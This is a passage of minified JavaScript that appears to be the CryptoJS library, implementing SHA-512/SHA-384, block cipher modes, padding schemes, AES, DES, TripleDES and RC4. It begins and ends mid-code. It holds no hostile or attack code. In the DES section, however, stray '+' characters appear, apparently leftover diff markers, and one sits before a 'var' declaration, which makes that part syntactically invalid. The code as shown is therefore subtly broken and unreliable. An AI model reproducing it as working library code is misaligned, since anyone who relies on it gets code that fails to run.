c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; 